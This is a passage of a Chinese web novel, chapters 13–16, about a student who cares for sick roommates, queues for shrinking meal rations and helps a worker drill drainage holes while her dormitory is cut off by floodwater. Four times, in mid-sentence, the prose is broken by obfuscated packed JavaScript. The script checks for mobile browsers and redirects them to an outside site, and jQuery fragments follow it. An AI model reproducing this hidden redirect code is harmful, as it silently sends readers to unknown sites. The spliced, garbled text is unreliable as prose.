秦小薇把药分给两个烧得脸色通红的室友：“找到了，一次一粒，我给你倒水……段霞，你体温正常吗？” 段霞：“我刚刚量了，体温正常，36.3℃，就是嗓子特别痛，我已经吃过药了。” 秦小薇：“那我把药放桌上，你要是发烧了就赶紧吃药，对了，我这里有电子体温计，这个比水银的方便，你们用这个测体温吧！” “好。” 早上接的那壶开水已经喝完了，饮水机里只有冷水，发烧感冒需要多喝热水增加代谢，秦小薇拿出手机，想问问群里的同学有没有热水。 她打开手机才发现，很多白天去当了志愿者的同学都病了，发烧的学生都在问有没有退烧药。 校医院离他们宿舍楼很远，平时过去都得坐校车，外面现在还在下暴雨，去校医院开药很容易出事。 感冒药很多寝室都有，但退烧药因为用到的不多，就算预警短信提醒大家准备，很多人也直接忽略了。志愿者大面积发烧后，学生们手里那几盒药很快就分完了。 现在是初春，虽然并不是特别冷，但白天的最低温也有十八九度，这个温度，穿着湿衣服在船上吹半天冷风，会感冒发烧非常正常。 13. 第 13 章 秦小薇在群里问了一句有没有人有多余的热水，但一直没有人回复她。 她等了一会，才合上手机：“我去床上了，你们需要帮忙就叫我，我没戴耳塞，你们喊一声我就能听见。” 秦小薇的半盒退烧药现在还剩三粒，她犹豫了一会，还是没在群里说自己有退烧药的事。 现在才第二天，后面还不知道要遇到什么突发状况，还是自己留着应急吧！ 现在可叫不到跑腿帮忙买药。 这三粒退烧药还不一定够她的室友们分…… “好。”范槿哑着声音应了一声。 因为担心两个发烧的室友，秦小薇睡得并不沉，没过多久，她就被外面的敲门声吵醒了。 “开下门，我是赵琪。”门外传来辅导员略有些疲惫的声音和隐隐约约的狗叫。 秦小薇连忙下床开门，她们辅导员很年轻，是由学校里正在读研的学姐担任的，因为年龄和他们相差不大，性格也好，班上的学生和她的关系都很好。 她打着手电筒站在门口，脸上的黑眼圈让她看起来十分疲惫。 “导员，您这么晚来，是有什么事吗？”秦小薇有些疑惑。 赵琪：“校医院那边派了船来送药，我刚拿到，我来给你们送药，范槿和肖琳琳不是发烧了？” 秦小薇这才注意到，辅导员脚边有两个装得满满当当的塑料袋。 她把一盒药塞到秦小薇手里：“这是退烧药，你们要是还缺什么药，就去楼下401买，那边现在是临时医务室，我只带了退烧药上来。” 说着她就朝着下一间寝室走去。 “知道了，谢谢导员！”秦小薇冲着她的背影喊道。 她打开手机看了眼时间，凌晨三点一十五，她的回笼觉只睡了一个小时。 她拿着电子体温计，挨个让三个室友量体温，然后……发现段霞也开始发烧了，其余两个室友虽然退烧了，但状态依旧非常差。 秦小薇给段霞倒了水，让她把退烧药吃了，自己则穿上外套，拿着手机和校园卡出了门。 她打算去401囤点药，昨天白天外出的志愿者太多了，教学楼那边又接纳了很多外来人员，这些人现在都是“用药大户”，她担心校医院库存的药不够用。 她空间里只准备了一人份的常用药，一下子这么多人生病，要是爆发了传染病，药可能不够用。 可能是因为走廊里一直有人走动，裴欣养的那只拉布拉多非常警惕，一直在叫，她走到八楼楼梯间的时候，还能听到隐隐约约的狗叫声。 群里半个小时前就通知了401有药的消息，秦小薇到的时候，这里已经来过不少人了，门口堆着好几个空纸箱，都是之前装药的纸箱。 401寝室还架着两口食堂熬汤的大号不锈钢桶和两个猛火灶，空气中弥漫着浓浓的姜味。 屋里，两个穿着白大褂的医生正在整理箱子里的药，看到秦小薇，其中一个医生主动问她：“学妹，买什么药？” 听到他的称呼，秦小薇瞬间明白过来，这两人不是校医院的医生，而是医学院的学生。 秦小薇：“治感冒咳嗽拉肚子的药，我三个室友白天去当了志愿者，现在都病倒了，寝室没有药，我们辅导员说这里能买到对症的药……” “三个人都拉肚子吗？”详细问了秦小薇“症状”后，对方从箱子里捡了一堆药递给她。 “按照说明书吃就行了，这个是治咳嗽的……”学长非常热情地和她介绍着手里的药。 里面还有五盒提高免疫力的口服液，每种药盒的大小都不一样，抱在怀里很容易掉。 秦小薇：“学长，有塑料袋吗？” 对方摇了摇头：“没有，这里只有纸箱，学妹，我给你拿个纸箱吧！” “行，谢谢！” 对方殷勤地找了个大小合适的纸箱，还主动帮秦小薇把药装进纸箱里。 付完钱之后，秦小薇指着两个大号不锈钢桶问他们：“学长，你们在煮姜茶吗？” “对，白天很多淋过雨的志愿者都生病了，宿舍楼这边没有热水，校领导特地从食堂调了灶台过来，以后401除了兼职医务室，还是这栋楼的开水房，学妹，你要是需要热水就来这里接……” “学妹，要不要加个微信？等水烧开了我通知你，我叫方庆，现在研一，这几天我都在医务室值班，你有什么需要帮忙的地方可以随时找我……” 看着男生略有些羞涩的脸，秦小薇顿时明白了，他想追她。 因为长得漂亮，上辈子从初中开始，就一直有男生追她，穿越后，因为身高和专业，她遇到桃花的概率比上辈子低了很多。 以往她遇到这样的情况都是直接拒绝，但现在特殊情况，三个室友都病着，这个时候认识一个“医生”，没什么坏处…… 秦小薇拿出手机，和对方交换了联系方式。 反正就只加个联系方式。 秦小薇：“方学长，那就麻烦你了！” “不麻烦不麻烦！”方庆笑出了两排大白牙，他站在401寝室门口，伸长脖子目送秦小薇离开。 回到寝室后，秦小薇按照室友的症状把箱子里的药给她们分了个七七八八，三个室友都难受得睡不着，她问了三人吃过的药后，又让她们吃了些对症的药。 “薇薇，你太好了，这么晚了还去帮我们买药！” “薇薇，这些药多少钱？我转给你。” “你们好好养病，钱的事以后再说，我不会给你们欠债的机会的！”秦小薇挨个把药送到她们床边。 她要等楼下的开水和姜茶煮好，就没再换衣服上床，秦小薇特地调大了手机音量，免得错过方庆的消息。 半个小时后，方庆的消息发过来了。 【方庆：水快要开了，你可以下来了。】 【方庆：学妹，你可以拿两个开水瓶下来，我多给你装点！】 【秦小薇：好的，谢谢学长，我马上下来。】 发完消息，秦小薇立刻提着两个开水瓶出门，十分钟后，她提着一壶开水和一壶姜茶重新回了1206。 秦小薇忽然有些庆幸自己昨晚很早就睡了，要不然这么折腾大半夜，她白天肯定会没精神。 退烧药的效果很好，吃完药不到一个小时，段霞的烧就退了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15043609|162660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，秦小薇给三个室友一人装了一杯姜茶一杯温水。 她把杯子放在她们床边挂着的放杂物的篮子里，方便室友们随时喝水，又去推拉门边上拧了下吸满了水的拖把和旧衣服，才重新爬上床。 后半夜，秦小薇以隔一个半小时起来拧一次拖把的频率折腾到天亮。 天亮之后，她早早就起床去203排队买早餐。 下楼的时候，她发现一夜过去，外面的水位又上涨了许多，昨天皮划艇还能划进一楼的大厅，通过楼梯把装饭的泡沫箱送进来。 现在一楼大厅已经进不去了，想要送餐进来只能由二楼的人在窗边放绳子，用绳子把装早餐的泡沫箱吊上来。 因为水流浮力的问题，昨天送餐用的大多是充气皮划艇，今天则换成了更加方便的电动船和脚踏船。 秦小薇到的时候，送早餐的脚踏船刚到，一楼进不来，负责收钱的打饭阿姨是通过二楼窗户边上的绳梯爬上来的。 “哎哟，过来卖个饭可真费劲！刚刚差点就掉水里去了……”爬绳梯的时候太费劲，爬上来以后打饭阿姨就扶着自己的膝盖大口大口喘着气。 之后就是把箱子拉上来了，因为要留出更多的空间装泡沫箱，今天一艘脚踏船上只配了两名志愿者。 食堂似乎对这样的情况早有准备，还弄了可以拆卸的滑轮和手柄固定在窗户上帮忙拉泡沫箱，二楼的人只要在窗户边上转手柄就能把箱子拉上来。 但一个个往上面拉箱子依旧比直接搬箱子慢，秦小薇这些提前过来买饭的学生都被阿姨叫过去帮忙了：“同学，你们过来帮忙把拉上来的箱子搬去203！” 秦小薇因为长得最高，力气最大，被阿姨当成了干活的主力。 暴雨依旧没有停，稍微离窗户近一点，身上的衣服就会被雨水打湿。 虽然是在走廊里面干活，但那些箱子离窗户口太近了，没过多久，她的外套和裤子就被打湿了。 秦小薇觉得，如果中午还是这种情况的话，她可以晚点下来。 她宁愿站在那多排会队！ 主要是她没带多少换洗的衣服过来，不想穿湿衣服。 唉！下雨真讨厌！ 第一波早饭的种类确实很丰富，秦小薇买了一大堆适合隔水加热的早餐回寝室。 从楼道里出来之后，她看到走廊里一只拉布拉多正用爪子按着一个快餐盒啃咬，它身边散落了许多垃圾，学生们打包好放在宿舍门口的垃圾袋被它啃得乱七八糟。 她看着拉布拉多的模样皱了皱眉，她往边上看了看，见裴欣她们寝室的门开着，便走过去敲了敲。 “同学，有事吗？”屋里正在洗脸的女生停下了手上的动作。 秦小薇：“裴欣养的那只拉布拉多在外面啃打包盒，它牙齿挺利的，打包盒都被咬碎了，我担心它会误食塑料片，过来提醒你们一下。” 女孩皱了皱眉：“知道了。” 她放下毛巾，顶着满脸的泡沫出来喊香肠的名字，但是走廊里的拉布拉多并不理她，依旧自顾自地啃塑料饭盒，扯它身上的背带，它还会做出试图咬人的动作，女孩拉了一下背带就不敢拉了。 14. 第 14 章 秦小薇看着拉布拉多的动作直皱眉：“裴欣呢？让她来吧！” 女孩撇了撇嘴，眼中流露出一丝不满：“裴欣昨天和她男朋友一起去当志愿者了，下午淋雨感冒了，她就直接留在她男朋友寝室了，说让她男朋友照顾她，还没回来……” 秦小薇：？？？ 秦小薇觉得有点难评，先不说寝室那张90厘米宽的床睡两个人有多挤，生病后能不能休息好。他们学校本科生宿舍都是四人寝，一个女生，跑去男寝留宿，她不担心传出什么流言蜚语，影响自己的名声吗？ 秦小薇对香肠的性格不熟悉，不知道它会不会咬人，也不敢强行把它拉回去……虽然她觉得自己肯定能干翻这只拉布拉多，但现在要是被咬了，没地方打狂犬疫苗。 秦小薇给她出主意：“要不你给裴欣打个视频电话，让她把香肠叫回去？” “对哦，我试试……”女孩拿出手机。 “嘟——”声响了很久，对面始终无人接听。 之后她们又试了用狗粮、小零食和玩具引诱，但拉布拉多始终咬着塑料打包盒不撒嘴。 “算了，随它去吧！它应该就只是啃着玩玩，不会真吃的……”女孩没办法了，只能回去继续洗脸。 秦小薇也没再管，提着早餐回了自己寝室。 三个室友还在睡，她们昨夜都没睡多久，秦小薇想让她们多休息一会，就没打扰她们，她把早餐分别放在三人的桌上，换了套干爽的衣服，又往自己的保温杯里倒了一杯滚烫的姜茶，才拿着保温杯爬上床。 拉上床帘后，她直接进了农场空间，用空间里的移动电源供电吹干了被雨丝沾湿的头发，她拿着包子豆浆上了粉色的四轮小车，一边吃早饭，一边巡视各个工坊。 农场满级可以解锁六把钓竿，秦小薇现在才二十多级，只解锁了两把，钓竿的冷却时间是12小时，她时间一向卡得很准，基本上每天都能收四次钓竿。 今天运气特别好，两把钓竿分别收上来了一份鱼肉和一个西瓜。 西瓜个头特别大，和夏天卖的石缝瓜差不多，一个有三四十斤。 秦小薇看着仓库面板里的西瓜，表情十分满意。 嘿嘿，好久没吃到大西瓜了。 她没在空间里待太久，收完工坊里的东西，吃完早饭她就出来了，她拿出手机，躺在床上戴着耳机玩手机。 今天才是暴雨的第二天，但Q省某些地势比较低的地方，已经淹到二楼了。 之前新闻里说暴雨只会淹到二三楼，但涨水的速度太快了，今天才第二天，水位就涨到二楼了，很多四五楼的住户也开始觉得恐慌…… 网上负面消息太多了，看得人心情沉重，秦小薇刷了一会儿就关掉了视频软件，开始和好友组队打游戏。 十一点零五的时候，秦小薇下楼买午饭，三个室友都还没睡醒，她给她们买的早饭依旧放在桌子上。 走廊里已经看不到那只拉布拉多的身影了，但不少学生放在门口的垃圾袋都被咬碎了，垃圾散得到处都是，连带着走廊里的气味都变得不太好闻。 她下来的时候，二楼排队买中饭的队伍比昨天还要长，秦小薇伸长脖子看了一眼，发现今天的队伍不是从203寝室门口延伸出来的，学生们直接站在走廊尽头那扇窗户前，从“窗口”排队买饭。 秦小薇：“……”怎么不把箱子送进来了？食堂不是准备了滑轮吗？ 队伍前进的速度比昨天慢很多，秦小薇等了大半个小时，才轮到她。 快要轮到她的时候，她才明白为什么今天大家买饭的速度会这么慢——现在学生买饭得自己用篮子把盒饭从船上拉上来！ 宿舍的地势不高不低，下了一天半暴雨，一楼还没有完全被淹，相应地，人站在船上也就很难够到二楼的窗户，但用滑轮送餐效率太低了，再加上今天报名当志愿者的学生数量大幅度缩水，上午“送餐”耽搁了太久，食堂阿姨回到教学楼后连喘口气的时间都没有就得继续准备午饭。 为了解决这个问题，食堂中午干脆直接在船上卖饭，想试试这样效率能不能高一些。 志愿者在窗户口固定好滑轮和吊篮，四五个买饭的学生先把自己的学生卡放篮子里放下去，船上的人拿到卡之后，先刷卡，再把快餐盒和饭卡放到篮子里，让学生转滑轮把吊篮拉上来。 外面的雨太大了，靠近窗户一米内衣服就会被飘进来的雨丝沾湿，更别说探出脑袋和下面的人沟通买饭了，基本上每个学生买完饭，头发都是湿的。 秦小薇：“……”买份饭而已，怎么会这么费劲呢？ 虽然志愿者和食堂给船上的泡沫箱子做了保护，但雨太大了，不可避免的，几乎每个人拉上来的盒饭都是湿的，好在食堂用的打包盒密封性良好，把外面的水擦一擦，还是可以吃的，完全不影响盒饭的味道。 秦小薇没给三个室友带中饭，她只给自己买了两份10块钱的盒饭。 盒饭到手，她的眉头就忍不住皱了起来。 这分量……怎么感觉比昨天还要少？ 回寝室打开饭盒后，秦小薇的猜测得到了证实，原本昨天盒饭的分量就只有平常的一半，但今天盒饭的分量就只有昨天的三分之二，且大部分都是米饭。 红烧排骨就只有两块，还都是骨头，上面的肉几乎可以忽略不计，就连平时最便宜的炒豆芽都只有一小坨。 他们学校是省内最好的大学，食堂也是出了名的物美价廉，还有很多游客专门来他们学校食堂打卡，怎么下了一场暴雨，就开始偷工减料了？ 昨天群里很多人都在说饭菜分量变少的事，她们学院的辅导员和老师都很认真负责，肯定会去找食堂反映这个问题，现在分量又变少了，肯定是食堂的问题。 难道是食堂提前准备的食物储存不当受潮了？不对啊，这才第二天，米面受潮了不是应该赶快吃掉吗？ 还是这两天志愿者救助回来的难民太多了，食堂准备的食物不够吃？ …… 她的脑海里闪过种种猜测。 秦小薇对着两份盒饭拍了张照片，才拆开一次性筷子准备吃饭。 “薇薇，你在吃什么？好香啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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【辅导员－赵琪：咱们这几栋的三餐是由三食堂负责的，昨天同学们反映了快餐价格问题后，学生会就联系了三食堂的负责人，负责人说今天会调整快餐的定价。中午同学们反映了快餐的分量问题后，我和学生会会长再次联系了三食堂负责人，负责人说食堂上午收到了命令，紧急借调了一批粮食参与救援应急，导致食堂储存的粮食不足以支撑到暴雨结束，再加上学校救援了很多市民，现在食堂的压力很大。】 【辅导员－赵琪：学校已经把情况反映上去了，会尽快从其他地方调粮食过来保障大家的三餐，但为了防止不可抗力的发生，食堂和校领导研究后决定，暂时减少食堂的盒饭分量，延长食物的供给时间，至于快餐的价格问题，负责人承诺今天晚饭之前会完成整改。】 【辅导员－赵琪：情况只是暂时的，请同学们不要恐慌，今天没买到午饭的同学可以找同学借点零食泡面，大家互相帮助，共渡难关，学校和食堂一定会尽快解决食物问题。】 15. 第 15 章 看完辅导员的回复，秦小薇的眉心跳了跳，说是会尽快解决问题，但外面一直在下雨，粮食想要运进来，肯定不容易。 外面水位涨得太快，网上说市里某些地势比较低的区域，已经在组织四五楼的住户提前转移了，各大安置点早就满了，转移出来的人就只能每个地方塞一点，而他们学校还有不少空置的教学楼…… 她觉得情况不太乐观…… 不过预警中心提前三天发了预警短信，铺天盖地的新闻也在提醒广大市民要做准备，大家应该都囤了食物，下暴雨这几天，用自己提前囤的食物顶一顶，应该也不至于会饿肚子。 出乎她的意料，辅导员的消息刚发出来，就有人在群里说前两天超市里的东西卖得太快了，他什么都没抢到。 秦小薇：“……” 好在不少学生都囤了食物，大家也很热心，那人的消息一发出来，群里就有人表示可以卖他一些蛋糕饼干。 还有，这两天盒饭的定价明显有问题，他们学校几万学生，虽然只有三顿饭的价格出了问题，但加在一起就不是小数目了，食堂那边竟然也没给个说法？ 是学校还在调查还是管理层有人同流合污打算就这样糊弄过去？不过这事也不是她一个普通学生能管的，她最多就是拿这事当八卦和朋友聊上几句…… 关于盒饭的问题似乎就这样告一段落了…… 下午，秦小薇一直待在寝室，中途借了室友的运动器材锻炼了一个多小时消耗多余的体力。 下午雨似乎小了很多，虽然在雨幕的遮挡下，外面的世界依旧看起来雾蒙蒙的，但阳台的积水浅了很多，她们拧拖把的频率也降低了。 晚饭的分量和中午差不多，但是价格从十块变成了五块，还开始搞限购，每人只准买一份，为了防止学生重复排队，计算机专业的学生还弄了个小程序出来，买饭的时候还得在小程序里面打卡…… 学生们都知道食堂储存的粮食被调去救援更需要的人了，虽然嘴上有些抱怨，但并没有人闹事。 盒饭分量太少了，就算是胃口比较小的女生吃一份饭也吃不饱，秦小薇也是一样，吃完盒饭，她还干吃了一袋泡面和一个苹果。 刚吃完苹果，秦小薇的手机就响了起来，是辅导员赵琪的电话。 “秦小薇，你现在在寝室吗？” “导员，我在寝室，有什么事吗？” 赵琪：“负责给阳台打孔排水的师傅待会就过来，师傅那边需要两个人帮忙，你去二楼帮忙接一下。” 秦小薇没有推辞，挂了电话就出门了。 辅导员还叫了另一个女生，也是他们体院的，叫周蓝，个头只比秦小薇矮几厘米，身材很壮实，一看就是那种力气很大的女生。 两人不是很熟，在二楼的楼道里尬聊了十几分钟师傅才坐船过来。 白天一直在下雨，相比早上，外面的水位又上涨了许多，寝室一楼已经完全被淹了，师傅从二楼窗户爬进来已经不需要绳梯了，他爬进来的时候并不像早上那位食堂阿姨那么狼狈。 不过二楼的窗口有点小，三人费了很大的劲，最后把窗框都敲扁了，才把船上的东西弄进楼道里。 秦小薇擦了下脸上的雨水，主动提起一个大包：“师傅，我带你去四楼，二三楼都没住人，不需要打孔。” 师傅冲着她摆摆手，接过她手里的大包：“不着急，我们先去三楼，先找个空寝室放我的行李。” 秦小薇和周蓝低头看他手里的大包，有些震惊：“师傅你出门还带着行李？” 师傅叹了口气：“没办法，外面下暴雨，出一趟门太麻烦了！” 除了行李和工具包，师傅还带来了柴油、发电机和电线。 电线和发电机不能被水淋，师傅打包的时候裹得格外仔细，除了厚厚的保鲜膜，发电机外面还裹了五六层塑料袋。 他担心秦小薇她们动作太粗鲁，把袋子拆坏了，发电机和电线的外包装都是他自己动手拆的。 发电机下面装了轮子，移动很方便，但是现在电梯没法用，上下楼梯发电机需要手动搬运，秦小薇和周蓝下来的主要任务，就是帮师傅搬柴油发电机。 上了三楼后，师傅一连进了好几间寝室，表情都不是很满意：“怎么女寝也这么臭？” 这个“也”字用得十分微妙，看来其他楼栋的情况和她们这里差不多。 发现楼下可以上厕所后，大部分学生都选择下楼上厕所，宿管阿姨还主动拿钥匙把二三楼空置的寝室门都打开了。 虽然她们被困在寝室楼里才两天，但众人的排泄物已经遍布二三楼的便池……饭点下来买饭，都得带上卫生纸堵住鼻孔。 作为产生臭味的“始作俑者”之一，两人的表情有些尴尬。 最后，在秦小薇的建议下，师傅去找了已经搬去楼上的宿管阿姨，让阿姨在四楼腾了间寝室。 安放好自己的行李，师傅才开始干活。 他给了秦小薇一本用透明密封袋装着的登记本：“同学，你帮我拿着这个，我弄好一个寝室，你就让寝室长在上面签个名，这几栏也要填，你照着上面的填就行了……” 师傅说得十分详细，末了，还不忘强调道：“……同学，你千万不能漏了，我要拿着这个本子去领钱的！” 秦小薇知道，他冒着这么大的雨出来干活钻孔，天黑了还工作，带着行李被褥睡在什么都没有的寝室里，也就是为了这点工资。 维修师傅的工资是计件制，要是本子弄湿了或是漏登记了会很麻烦。 都是打工人，秦小薇很理解他。 她郑重点头道：“您放心，肯定不会漏登记的！” 得到秦小薇的保证后，师傅打开油桶，往发电机的油箱里倒了半瓶柴油，之后启动开关、插入插座…… 巨大的轰鸣声出现，发电机开始工作，不少人都被发电机的声音吸引，从寝室里出来看热闹。 周蓝推发电机，秦小薇负责登记，填完一行表格她就没什么事了，其实她们的活一个人就能干完，但是发电机太重了，师傅觉得一个人抬发电机上下楼太累了，把两人都留下了。 见众人都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15043611|162660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打着手电筒围在发电机边上，秦小薇也凑了过去。 空间里没有电源，她之前想过买一台发电机放在空间里，但是价格太贵了，发电机运行的时候声音还特别大，还要另外买油…… 宁市供电保障做得很好，就算是电路检修，也只停一两个小时的电，还会提前发短信通知，做完功课之后，她发现几百块一台的户外电源性价比更高，于是她就放弃了买发电机的念头。 师傅拉的插线板上只连接了一个电钻，个别充电宝已经没电的女生看得十分眼馋。 有个女生凑到了秦小薇身边：“同学，我可以在这里充个电吗？我就充一会，我手机没电了，想给我爸妈打个电话报平安……” 她伸出一根手指，眼神和表情都可怜巴巴的。 秦小薇：“……” 这个理由……她该不会以为她是傻子吧？ 虽然宿舍楼昨天就断电了，但很多学生都提前准备了充电宝，要想打电话回家，会借不到手机？ 秦小薇挂上假笑：“同学，发电机和柴油都是维修师傅带来的，我做不了主，要不你去问问师傅？” 她身边的周蓝更是直接怼道：“同学，发电机是学校的公共财产，你这样占便宜不好吧？” 女生撇了撇嘴，没再多说什么。 看到女生吃瘪的模样，秦小薇和周蓝对视一眼，忍不住笑了起来。 今晚来的这个师傅只负责打孔，安装排水管、抹水泥是其他师傅的活，后面学校还会再派人过来，就算每个寝室只要打一个孔，师傅的速度依旧不算快，基本上一个寝室要花上五到十分钟。 主要是外面雨太大了，为了防止身上被雨淋湿，除了连体防水服，师傅还另外穿了雨衣，戴了帽子、头盔，头盔上还固定了一个头灯，身上装备太多，严重影响了他的工作效率。 秦小薇两人跟在师傅后面，矜矜业业地帮着登记、推发电机、收拾电线。 她晚上没什么事，就算师傅打孔的速度慢一点，她也不着急，唯一让她觉得不满意的，就是手机开了手电筒之后，电量消耗得特别快，四层还没弄完，手机就只剩百分之二十几的电了。 周蓝的手机也没多少电了，她俩开始轮流开手电筒，后面为了省电，秦小薇干脆关了自己的手电筒，蹭师傅头灯的光。 “你们听，外面的雨是不是变小了？雨是不是要停了？”周蓝惊喜地喊了一声。 “真的吗？”原本站得离阳台很远的秦小薇瞬间来了精神，她凝神听了一会，连着响了两天的雨声似乎真的消失了。 她放下手上的登记本，朝着阳台走去。 “没停，但是雨小了！”师傅的声音从阳台传了出来。 但这也足够让秦小薇高兴了。 暴雨还没开始的时候，她只觉得这场暴雨意味着一场超长的假期，但在经历了寝室进水、饭菜变少、室友当志愿者集体发烧，在网上看到那么多人因为这场暴雨无家可归，看到她生活了两年的宁市被这场暴雨摧残得面目全非后，她对这场暴雨的态度就从无所谓变成了厌恶。 16. 第 16 章 那些像是被引流管引进阳台的细小水流慢慢趋近于无，没了雨水的补充，阳台的积水很快顺着墙体侧面的出水管流了个干干净净。 秦小薇和周蓝靠近阳台的围栏，朝外面张望着，外面很黑，楼下也没有路灯，她们开了手电筒也很难看清楼下的情况。 她伸手去接外面的雨水，只接到了几滴水。 “雨变小了，楼下的水位应该会下降吧？”秦小薇和周蓝都很兴奋。 “希望下水道别再堵了，我们寝室真的很需要一个通畅的下水道！” 两人聊天的时候，师傅脱掉了身上的连体服、雨衣、头盔。 “小姑娘，别聊了，过来帮我打个灯，咱们搞快点，早干完早收工！”师傅把摘下来的头灯塞到周蓝手里，“你可以站远点，对着这个地方照就行了……对对对，就是这样，这个灯有点问题，戴头上我得一直偏着头才行，特别影响我干活。” “好嘞！”拿到头灯的周蓝干劲满满。 雨停了之后，师傅的效率果然高了许多。 秦小薇提前和下一个寝室的学生打好招呼，让她们把阳台要打孔的地方收拾出来，再开着门等师傅……师傅基本上2、3分钟就能弄好一间寝室。 不过就算师傅加快了速度，但寝室数量太多了，一晚上依旧不够他们把所有的寝室都跑一遍。 在头灯的光又一次变暗的时候，师傅锤了锤自己的腰：“今天就到这吧！咱们明天再继续……” 已经快十点了，秦小薇觉得有点困，她把登记本装进透明塑封袋里，递还给师傅。 秦小薇：“李师傅，我们明天几点过来？” “七点半吧！明天还会再来两个人，明天晚上之前这栋楼应该能弄完……” “行！那我们现在把发电机搬下去！” 说着，秦小薇两人就要弯腰搬发电机。 “不用不用！我把线收了，发电机放这里就行了！这么重的东西，搬上搬下累死了……” “这么放着没事吧？”周蓝有些担心。 “这栋楼都是学生，在这里放一个月我都不担心，要是在教学楼，我肯定睡觉都要守着它，那边都是校外的人，听说昨天晚上还有人偷东西，乱得很……” 显然，李师傅对Q大学生的人品非常有信心。 见他这么说，秦小薇和周蓝也没再坚持，她俩直接回了寝室。 三个室友都在玩手机，见秦小薇回来了，范槿笑着开口道：“我就说发电机的声音停了，你肯定很快就能回来！” 肖琳琳：“薇薇，明天能轮到咱们12楼吗？” 秦小薇点头：“明天白天还会再来两个师傅，师傅说明天一天就能搞定我们这栋楼……你们三个状态怎么样？晚上没再发烧吧？” 范槿握拳做了个展示肱二头肌的动作：“特别好！我感觉我快要痊愈了……对了，隔壁的三金也发烧了，她说401的退烧药卖完了，我就剪了两粒给她，没给你的那盒，阿霞说剩下的几粒留着你痛经的时候吃，我剪的是导员昨天送过来的那盒退烧药……” 秦小薇点点头，表示知道了。 只要室友的烧不反复，她们四个都好好待在寝室里，剩下那盒退烧药也发挥不了什么作用。 秦小薇坐在椅子上刷了会儿手机。 今天外面的情况似乎比昨天更糟糕。 她刷到了一个视频，有个博主住在乡下，他和邻居去了临时安置点之后又偷跑回家了，他的邻居是个六十多岁的老大爷，住的是低矮的土房，地基被水泡得很厉害，从昨天开始就处于半塌的状态。 屋里积水太严重了，大爷怕屋子塌了，自己被压在废墟底下，从昨天开始就一直穿着雨衣打着伞，缩在自家房顶上。 随着水位的上涨，年久失修的老房子今天彻底被淹了，不仅如此，房子还塌了，博主没有救援工具，打了救援电话也一直没人来救援，他只能眼睁睁地看着大爷在暴涨的水位中挣扎，最后彻底失去踪迹…… 博主很害怕，因为他家一楼也彻底被淹了，而他家虽然有三层，但三楼是半露天的状态，他在视频末尾一直在呼吁粉丝转发扩散视频，让更多的人看到视频，以期得到救援。 因为争议点太多，这个视频一下子火了，有人在骂老大爷和博主脑子有病，市政的工作人员都把他们带去临时安置点了，他们还要跑回来，现在老大爷死了，博主就是杀人凶手，根本没必要浪费资源去救他。 还有人认为，虽然博主又蠢又坏，但怎么说也是一条生命，该救还是得救。 还有人在骂官方的救援队，说博主昨天就打了救援电话，但一直到老大爷淹死，都没等来救援，说官方救援队不作为…… 反正就是吵成了一锅粥，一整个乌烟瘴气。 除了这个博主发的，网上还有其他人因为救援不及时没了命。 虽然隔壁几个省还没开始下暴雨，但由于Q省的暴雨，隔壁几个省都出现了洪灾，河流水位暴涨，有些人的家直接被洪水冲走了…… 这打了不少人一个措手不及，也给隔壁省带来了不少麻烦。 不过也因为这场突如其来的洪水，隔壁几个省市对即将到来的暴雨更加敬畏了，市民们变得非常“听话”，非常配合市政的转移工作…… 当然，除了这些负面消息，网上还有很多让人觉得暖心的正能量新闻。 比如，有个寡居的老奶奶把自己提前准备的食物拿出来救助流浪狗；Q省驻扎的士兵几乎全员出动，在各处参与救援；外省有个大叔沿着水路把自家的运输船开来了Q省，主动帮忙救人；放假在家的小女孩在社区工作人员上门募捐的时候把自己最喜欢的零食和衣服捐给了无家可归的市民…… 但负面消息所带来的坏情绪并不是那么容易抵消的，刷完那些“死亡视频”后，她始终觉得心情沉重。 秦小薇后面还刷到了网友搬运的国外的视频，国外和国内不同，他们没有提前发暴雨预警，官方也没有组织大家提前做准备，很多人都被这场史无前例的大暴雨打得措手不及。 视频里，有大片的木制房屋被暴雨冲走了，洪水裹挟着尸体、杂物滚滚向前，十分吓人；有人站在窗户前，挥舞着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15043612|162660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手里鲜艳的布条求助；有人因为一根巧克力棒就对同伴开枪…… 秦小薇还刷到国外的IP在国内的门户网站上求救。 看着网上的消息，秦小薇忽然很庆幸自己没穿越到国外去。 